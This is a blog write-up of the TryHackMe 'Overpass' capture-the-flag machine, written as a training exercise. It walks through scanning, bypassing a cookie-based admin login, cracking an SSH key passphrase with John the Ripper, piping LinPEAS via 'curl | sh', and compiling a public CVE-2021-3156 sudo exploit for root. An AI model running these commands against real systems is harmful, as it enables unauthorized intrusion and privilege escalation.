Try Hack Me | Overpass | Write Up

Hey there, Cyber Warriors! 🚀

Today we will see another CTF write up but now from Try Hack Me. I did this CTF in one of the workshops in IT-S Now Cyber Security conference in Vienna. Come with me and learn how you can resolv this machine! We will walk through web configuration errors and explotation of vulnerabilities to perform privilege escalation!

The first step we will do is perform an Nmap scan to see which port and services we can discover:

sudo nmap -sT -n -Pn -sV -v -T4

We will see two ports (22 – SSH and 80 – some application):

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

In this point we can check the port 80 through our navigator to see which kind of application is:

We discovered some application web to provide vault software to storage our passwords. After that we can see if we can discover more directories with «gobuster»:

sudo gobuster dir -u -w /usr/share/wordlists/dirb/common.txt

We will find one interesting directory «/admin»:

Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:           
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
2023/06/01 23:10:16 Starting gobuster in directory enumeration mode
/aboutus              (Status: 301) [Size: 0] [--> aboutus/]
/admin                (Status: 301) [Size: 42] [--> /admin/]
/css                  (Status: 301) [Size: 0] [--> css/]
/downloads            (Status: 301) [Size: 0] [--> downloads/]
/img                  (Status: 301) [Size: 0] [--> img/]
/index.html           (Status: 301) [Size: 0] [--> ./]
Progress: 4614 / 4615 (99.98%)
2023/06/01 23:10:39 Finished

Let see how is it this directory:

We found a kind of form to login into administrator panel. Now we will check the source code to see if we can discover something interesting:

We found the «login.js» file could be we will see something interesting inside:

We can see that code just check if the cookie return the exact string and if is different is correct. We can modify this petition with burp suite to try gain access to the admin panel. Once we already have configured our navigator to use our burp suite proxy we can capture the request:

In this point we need to capture the response from the server. We will do that with the «Action» – «Do Intercept» – «Response to this request»:

After that we can forward the request and we will see the response from the server:

Now we need to manipulate the response like this:

The next step is forward the request and we will go to our application and refresh it:

We discovered an SSH private key. We can use it to perform an SSH connection but before do that we need to crack it to obtain the password to can use this private key. We will perform brute force with John The Ripper but first we need to format this private key:

└─$ ssh2john key

Now we already have our private key formatted and we can brute force it and we will see the password:

└─$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt keyJohn 
[sudo] contraseña para david: 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
james13          (key)     
1g 0:00:00:00 DONE (2023-06-01 15:24) 100.0g/s 1337Kp/s 1337Kc/s 1337KC/s pussys..howareyou
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now in this point we will perform an SSH connection with the private key but before that we need to put different permission in our private key:

└─$ chmod 600 key 

Now we can do our SSH connection:

ssh james@ -i key

Now we already have access to the user flag. Now we will run our favourite script to enumerate Linux (Linpeas). We need to download the binary and in my case I turned on my own web server to provide Linpeas through it:

sudo python3 -m http.server 80

Now in our SSH session we will launch this command to run Linpeas:

curl | sh

When Linpeas has already finished we will see some suggestion about vulnerabilities to exploit and perform privilege escalation. In my case I selected «CVE-2021-3156»:

Now we need to locate one exploit and upload it into our objetive. We will do the same method used with Linpeas:


Now we will extract the files:

tar -xf CVE-2021-3156-main.tar.gz

Now we need to compile our exploit before execute it:

james@overpass-prod:~$ cd CVE-2021-3156-main/
james@overpass-prod:~/CVE-2021-3156-main$ make
rm -rf libnss_X
mkdir libnss_X
gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c

Finally, we can execute our exploit to obtain one shell with root privileges:

Now we can check our root flag.

Good machine!!! Happy hacking and just try harder!

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.